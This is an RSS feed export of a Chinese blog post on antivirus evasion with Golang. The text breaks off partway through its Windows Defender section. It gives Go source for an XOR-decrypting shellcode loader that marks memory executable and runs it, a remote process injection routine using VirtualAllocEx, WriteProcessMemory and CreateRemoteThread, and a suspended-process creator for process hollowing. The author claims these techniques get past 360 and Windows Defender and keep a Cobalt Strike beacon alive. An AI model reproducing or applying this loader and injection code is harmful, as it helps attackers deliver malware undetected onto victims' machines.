<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>NEO攻防队</title>
    <link>https://wechat2rss.xlab.app/feed/a093f5ce01f9dd8377ef4e2554648965b4f5dedd.xml</link>
    <description>分享安全攻防领域所学、所想、所思。&#xA;(wechat feed made by @ttttmr https://wechat2rss.xlab.app)</description>
    <managingEditor> (NEO攻防队)</managingEditor>
    <image>
      <url>https://wx.qlogo.cn/mmhead/Q3auHgzwzM7ic6Ozze13b6nKFWNEOImFrj1dVwsWFugaOWdR4rcJllg/0</url>
      <title>NEO攻防队</title>
      <link>https://wechat2rss.xlab.app/feed/a093f5ce01f9dd8377ef4e2554648965b4f5dedd.xml</link>
    </image>
    <item>
      <title>免杀杂谈-Golang篇</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4OTM2ODgyMw==&amp;mid=2247484035&amp;idx=1&amp;sn=66dacd48c87e15f6e841f4d010a61630</link>
      <description>免杀杂谈-Golang篇</description>
      <content:encoded><![CDATA[<p>
原创 <span>i11us0ry</span> <span>2021-09-30 19:09</span> <span style="display: inline-block;"></span>
</p>

<p>免杀杂谈-Golang篇</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c86f6ad0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FQgqjbLiaSQxyRt3vibBPyBuahUAP42XOibYRAMdgrltSUNLYaY5OGzDGyDjpmp7bb12ibfYlpNGrMYIuf2pSosBDLg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">前言</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">看到师傅们不停地分享关于Golang免杀的帖子，收获颇多，学习总结之余也进行了相关扩展，最终实现了在360和Windows Defender环境下的免杀。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">这里也分享一下个人免杀学习经验，没有什么技术性，主要还是借助Golang目前没被各大厂商加入“黑名单”名单这一优点以及各位师傅的无私分享进行总结。</span></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">普通模式</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">普通模式的免杀很简单，在调用进程的虚地址空间申请页，然后将shellcode写入里面即可，一般称之为shellcode加载器。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">当然这样简单的加载器很容易被查杀，所以需要对shellcode进行简单的处理，如对shellcode进行异或、混淆、rc4加密等，然后远程或本地加载处理后的shellcode，在程序中进行解密，再写入申请的内存页中即可。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">大致流程如下：<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.7722772277227723" data-s="300,640" style="" data-type="png" data-w="606" src="https://wechat2rss.xlab.app/img-proxy/?k=fd0d7c3a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxyRt3vibBPyBuahUAP42XOibYiaoVpS1Evry5NlJkVzZnT5yeVicLPK7ibHAqkXtytHxibefCfzTwzicpMBA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;">部分代码如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">Load1</span><span class="code-snippet__params">(code ,key []<span class="code-snippet__keyword">byte</span>)</span></span>{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// 去除随机数</span></span></code><code><span class="code-snippet_outer">  code = decrypt.Rand2str(code)</span></code><code><span class="code-snippet_outer">  size := <span class="code-snippet__built_in">len</span>(code)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// 申请一份虚拟地址</span></span></code><code><span class="code-snippet_outer">  addr, _, err := VirtualAlloc.Call(<span class="code-snippet__number">0</span>, <span class="code-snippet__keyword">uintptr</span>(size), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> &amp;&amp; err.Error() != <span class="code-snippet__string">&#34;The operation completed successfully.&#34;</span> {</span></code><code><span class="code-snippet_outer">    syscall.Exit(<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// 异或</span></span></code><code><span class="code-snippet_outer">  code = decrypt.Xor2str(code,key)</span></code><code><span class="code-snippet_outer">  time.Sleep(<span class="code-snippet__number">1</span>/<span class="code-snippet__number">10</span> * time.Second)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// 将code放到申请的虚拟地址中</span></span></code><code><span class="code-snippet_outer">  _, _, err = RtlCopyMemory.Call(addr, <span class="code-snippet__keyword">uintptr</span>(unsafe.Pointer(&amp;code[<span class="code-snippet__number">0</span>])), <span class="code-snippet__keyword">uintptr</span>(<span class="code-snippet__built_in">len</span>(code)))</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> &amp;&amp; err.Error() != <span class="code-snippet__string">&#34;The operation completed successfully.&#34;</span> {</span></code><code><span class="code-snippet_outer">    syscall.Exit(<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">// 修改访问类型</span></span></code><code><span class="code-snippet_outer">  _, _, err = VirtualProtect.Call(addr, <span class="code-snippet__keyword">uintptr</span>(size), PAGE_EXECUTE_READWRITE, <span class="code-snippet__keyword">uintptr</span>(unsafe.Pointer(&amp;u)))</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> &amp;&amp; err.Error() != <span class="code-snippet__string">&#34;The operation completed successfully.&#34;</span> {</span></code><code><span class="code-snippet_outer">    syscall.Exit(<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  syscall.Syscall(addr, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">测试结果如下（过360）：<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.4954128440366973" data-s="300,640" style="" data-type="png" data-w="654" src="https://wechat2rss.xlab.app/img-proxy/?k=bd469556&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxyRt3vibBPyBuahUAP42XOibY68LBewiaYclXeOib9RH3WCzMibpsHic0sagocAwHdxL3oLVqHpib2hjaZeA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><br/></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">进程注入模式</span></h2><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">在指定进程的虚地址空间申请页，对加密的shellcode进行解密后写入申请的页中，最后封装即可。进程注入相对于普通模式来说隐蔽性更高，执行成功后删除样本也能保持cs在线，但缺点是动作太大。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">大致流程如下：<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.804635761589404" data-s="300,640" style="" data-type="png" data-w="604" src="https://wechat2rss.xlab.app/img-proxy/?k=d077f15d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxyRt3vibBPyBuahUAP42XOibYegdpibv0veuKf5JgvlGtYJqoCaTBuWHgfyT6csI7l7ss6zUPMWCibvug%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"></span><span style="box-sizing: border-box;">部分代码如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="go"><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">func</span> <span class="code-snippet__title">injectProcessAndEx</span><span class="code-snippet__params">(pHandle <span class="code-snippet__keyword">uintptr</span>, s_code []<span class="code-snippet__keyword">byte</span>)</span></span> {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">/* 这里的s_code 是经过解密处理的 */</span></span></code><code><span class="code-snippet_outer">  Protect := PAGE_EXECUTE_READWRITE</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">/* VirtualAllocEx 在指定进程虚拟空间提交内存区域，相当于在一个现成的进程中申请一个空间 */</span></span></code><code><span class="code-snippet_outer">  addr, _, err := VirtualAllocEx.Call(<span class="code-snippet__keyword">uintptr</span>(pHandle), <span class="code-snippet__number">0</span>, <span class="code-snippet__keyword">uintptr</span>(<span class="code-snippet__built_in">len</span>(s_code)), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> &amp;&amp; err.Error() != <span class="code-snippet__string">&#34;The operation completed successfully.&#34;</span> {</span></code><code><span class="code-snippet_outer">    syscall.Exit(<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">/* 把shellcode写入进程中 */</span></span></code><code><span class="code-snippet_outer">  _, _, err = WriteProcessMemory.Call(<span class="code-snippet__keyword">uintptr</span>(pHandle), addr, (<span class="code-snippet__keyword">uintptr</span>)(unsafe.Pointer(&amp;s_code[<span class="code-snippet__number">0</span>])), <span class="code-snippet__keyword">uintptr</span>(<span class="code-snippet__built_in">len</span>(s_code)))</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> &amp;&amp; err.Error() != <span class="code-snippet__string">&#34;The operation completed successfully.&#34;</span> {</span></code><code><span class="code-snippet_outer">    syscall.Exit(<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">/* 修改进程区域保护属性 */</span></span></code><code><span class="code-snippet_outer">  _, _, err = VirtualProtectEx.Call(<span class="code-snippet__keyword">uintptr</span>(pHandle), addr, <span class="code-snippet__keyword">uintptr</span>(<span class="code-snippet__built_in">len</span>(s_code)), PAGE_EXECUTE_READWRITE, <span class="code-snippet__keyword">uintptr</span>(unsafe.Pointer(&amp;Protect)))</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> &amp;&amp; err.Error() != <span class="code-snippet__string">&#34;The operation completed successfully.&#34;</span> {</span></code><code><span class="code-snippet_outer">    syscall.Exit(<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__comment">/* 封装远程注入 */</span></span></code><code><span class="code-snippet_outer">  _, _, err = CreateRemoteThread.Call(<span class="code-snippet__keyword">uintptr</span>(pHandle), <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, addr, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>, <span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> err != <span class="code-snippet__literal">nil</span> &amp;&amp; err.Error() != <span class="code-snippet__string">&#34;The operation completed successfully.&#34;</span> {</span></code><code><span class="code-snippet_outer">    syscall.Exit(<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">测试结果如下：<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.44711538461538464" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=ddb3055a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxyRt3vibBPyBuahUAP42XOibYaJtZz2Ix36oFFQbykEjicibCLvotNzGEJHcTbKibE09oVt8J6MkQI1ZaQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"></span><br/></p><h2 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom-width: 1px;border-bottom-style: solid;border-bottom-color: rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">傀儡进程模式</span></h2><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">绕过360</span></h3><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">傀儡进程也是进程注入，傀儡进程以挂起的方式打开指定目标进程，在指定进程的虚地址空间申请页，对加密的shellcode进行解密后写入申请的页中，最后封装即可。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">这样，进程还是原本进程，但执行的操作却替换成我们的shellcode了。</span></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">部分代码如下，以挂起的方式打开指定进程，后面步骤与进程注入一样：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">func</span> <span class="code-snippet__selector-tag">cressProcessBySUSPENDED</span>() {</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attribute">argv </span>:= syscall.<span class="code-snippet__built_in">StringToUTF16Ptr</span>(pPathName)</span></code><code><span class="code-snippet_outer">  err := syscall.<span class="code-snippet__built_in">CreateProcess</span>(</span></code><code><span class="code-snippet_outer">    nil,</span></code><code><span class="code-snippet_outer">    argv,</span></code><code><span class="code-snippet_outer">    nil,</span></code><code><span class="code-snippet_outer">    nil,</span></code><code><span class="code-snippet_outer">    true,</span></code><code><span class="code-snippet_outer">    CREATE_SUSPENDED,</span></code><code><span class="code-snippet_outer">    nil,</span></code><code><span class="code-snippet_outer">    nil,</span></code><code><span class="code-snippet_outer">    &amp;sI,</span></code><code><span class="code-snippet_outer">    &amp;pI)</span></code><code><span class="code-snippet_outer">  if err != nil{</span></code><code><span class="code-snippet_outer">    syscall.<span class="code-snippet__built_in">Exit</span>(0)</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">测试结果如下：<br/></span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3798076923076923" data-s="300,640" style="" data-type="png" data-w="832" src="https://wechat2rss.xlab.app/img-proxy/?k=d025869a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQgqjbLiaSQxyRt3vibBPyBuahUAP42XOibYsj2YQ4CVcc2viarPqTujicqMplKia9RIQtDv4K7DmWibibib2mjIeQAzfg5Q%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;"></span><br/></p><h3 style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.5em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.43;cursor: text;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-style: normal;font-variant-caps: normal;letter-spacing: normal;text-align: start;text-indent: 0px;text-transform: none;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration: none;"><span style="box-sizing: border-box;">绕过Windows Defender</span></h3><p style="box-sizing: border-box;line-height: inherit;orphans: 4;margin: 0.8em 0px;white-space: pre-wrap;caret-color: rgb(51, 51, 51);color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, 